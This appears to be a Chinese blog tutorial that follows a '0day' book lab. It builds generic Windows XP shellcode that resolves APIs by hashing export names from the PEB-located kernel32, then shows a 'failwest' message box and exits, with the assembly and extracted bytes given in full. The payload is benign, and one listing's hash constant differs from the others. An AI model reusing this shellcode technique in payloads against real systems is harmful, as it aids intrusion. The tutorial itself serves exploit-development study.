General shellcode

windows xp上的通用shellcode

0day书上3.4节的通用shellcode开发实验:

开发环境

windows xp sp3
visual C++ 6.0

shellcode适用环境

windows xp sp3及之前版本,windows 7稍微改动亦可

1.获取3个函数名hash后的值

通过将字符串进行hash计算,得到一个更短的字符串,从而简化shellcode中字符串对比的代码。
hash函数的C代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fun_name)
{
DWORD digest = 0;
while(*fun_name)
{
digest = ((digest << 25) | (digest >> 7));
digest += *fun_name;
fun_name++;
}
return digest;
}
void f_hash_print(char *str)
{
DWORD hash = GetHash(str);
printf("%s hash is : 0x%.8x\n", str, hash);
}
int main()
{
f_hash_print("MessageBoxA");
f_hash_print("ExitProcess");
f_hash_print("LoadLibraryA");
return 0;
}

得到hash值为:
MessageBoxA : 0x1e380a6a
ExitProcess : 0x4fd18963
LoadLibraryA : 0x0c917432

2.编写shellcode

首先将3个函数的hash值压入栈

1
2
3
4
5
6
7
CLD ;clear flag DF
;store hash
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
mov esi, esp ;esi = addr of first function hash[LoadLibraryA]
lea edi, [esi - 0xc]

然后抬高栈,保护shellcode不被入栈数据破坏

1
2
3
4
;make some stack space
xor ebx, ebx
mov bh, 0x04
sub esp, ebx

将“use32“字符串压入栈,后面LoadLibraryA调用时需要该参数

1
2
3
4
5
6
;push a pointer to "user32" onto stack
mov bx, 0x3233
push ebx
push 0x72657375
push esp
xor edx, edx

此时栈中的状态如图所示:
shellcode_stack1.png

找到kernel32.dll的基址

1
2
3
4
5
6
;find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ;ebx = addr of PEB
mov ecx, [ebx + 0x0c] ;ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ;ecx = first entry in initialization order list
mov ecx, [ecx] ;(kernel32.dll)
mov ebp, [ecx + 0x08] ;ebp = base addr of kernel32.dll

开始查找3个函数的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
find_lib_functions:
lodsd ;eax = DS * 10H + ESI, esi++
cmp eax, 0x1e380a6a ;hash of "MessageBoxA"
jne find_functions
xchg eax, ebp ;save eax to ebp
call [edi - 0x8] ;call LoadLibraryA
xchg eax, ebp ;restore current to eax, and update ebp
;with base address of uer32.dll
find_functions:
pushad ;存储寄存器值,依次压入EAX,ECX,EDX,ECX,
;EDX,EBX,ESP,EBP,ESI,EDI
mov eax, [ebp + 0x3c] ;eax = start of PE header
mov ecx, [ebp + eax + 0x78] ;ecx = relative offset of export table
add ecx, ebp ;ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ;ebx = relative offset of names table
add ebx, ebp ;ebx = absolute addr of names tables
xor edi, edi
next_function_loop:
inc edi ;i = 0
mov esi, [ebx + edi * 4] ;esi = relative offset of current function name
add esi, ebp ;esi = absolute addr of current function name
cdq ;edx:eax
hash_loop:
movsx eax, byte ptr[esi]
cmp al, ah
jz compare_hash
ror edx, 7
add edx, eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp + 0x1c] ;cmp to the requested hash
jnz next_function_loop
mov ebx, [ecx + 0x24] ;ebx = absolute addr of ordinals
;table
add ebx, ebp
mov di, [ebx + 2 * edi]
mov ebx, [ecx + 0x1c]
add ebx, ebp
add ebp, [ebx + 4 * edi]
xchg eax, ebp
pop edi
stosd
push edi
popad
cmp eax, 0x1e380a6a
jne find_lib_functions
function_call:
xor ebx, ebx
push ebx ;cut string
push 0x74736577
push 0x6c696166 ;push "failwest"
mov eax, esp
push ebx
push eax
push eax
push ebx
call [edi - 0x04] ;call MessageBoxA
push ebx
call [edi - 0x08] ;call ExitProcess
nop
nop
nop
nop

这3个函数的查找方法:

  1. 查找kernel32.dll地址,以及从kernel32.dll中查找LoadLibraryA函数过程:

    kernel32.png kernel32_arch.png
  2. 函数查找顺序
    [1]. LoadLibraryA -> ExitProcess -> MessageBox
    [2]. 找到的各函数地址,依次存储在前面栈图中的edi所指向的空间;
    [3]. 每次查找时,将ebp指向相应函数所在的dll地址;
    [4]. 最后找MessageBox,在找MessageBox之前,调用LoadLibraryA函数,加载user32,并将ebp指向user32首地址;

3. 整体代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#include <stdio.h>
int main()
{
__asm{
cld
push 0x1e380a6a //hash of MessageBox
push 0x4fd18963 //hash of ExitProcess
push 0x0c917432 //hash of LoadLibraryA
mov esi, esp //esi = addr of "LoadLibraryA"
lea edi, [esi - 0xc] //edi = addr to start writing function
;make some stack space
xor ebx, ebx
mov bh, 0x04
sub esp, ebx
;push a pointer to "user32" onto stack
mov bx, 0x3233
push ebx
push 0x72657375
push esp
xor edx, edx
;find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30]
mov ecx, [ebx + 0x0c]
mov ecx, [ecx + 0x1c]
mov ecx, [ecx]
mov ebp, [ecx + 0x08]
find_lib_functions:
lodsd
cmp eax, 0x1e380a6a
jne find_functions
xchg eax, ebp
call [edi - 0x8]
xchg eax, ebp
find_functions:
pushad
mov eax, [ebp + 0x3c]
mov ecx, [ebp + eax + 0x78]
add ecx, ebp
mov ebx, [ecx + 0x20]
add ebx, ebp
xor edi, edi
next_function_loop:
inc edi
mov esi, [ebx + edi * 4]
add esi, ebp
cdq
hash_loop:
movsx eax, byte ptr[esi]
cmp al, ah
jz compare_hash
ror edx, 7
add edx, eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp + 0x1c]
jnz next_function_loop
mov ebx, [ecx + 0x24]
;table
add ebx, ebp
mov di, [ebx + 2 * edi]
mov ebx, [ecx + 0x1c]
add ebx, ebp
add ebp, [ebx + 4 * edi]
xchg eax, ebp
pop edi
stosd
push edi
popad
cmp eax, 0x1e280a6a
jne find_lib_functions
function_call:
xor ebx, ebx
push ebx
push 0x74736577
push 0x6c696166
mov eax, esp
push ebx
push eax
push eax
push ebx
call [edi - 0x04]
push ebx
call [edi - 0x08]
}
return 0;
}

编译查看exe文件,提取shellcode
ollydbg.png

1
2
3
4
5
6
7
8
9
10
11
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"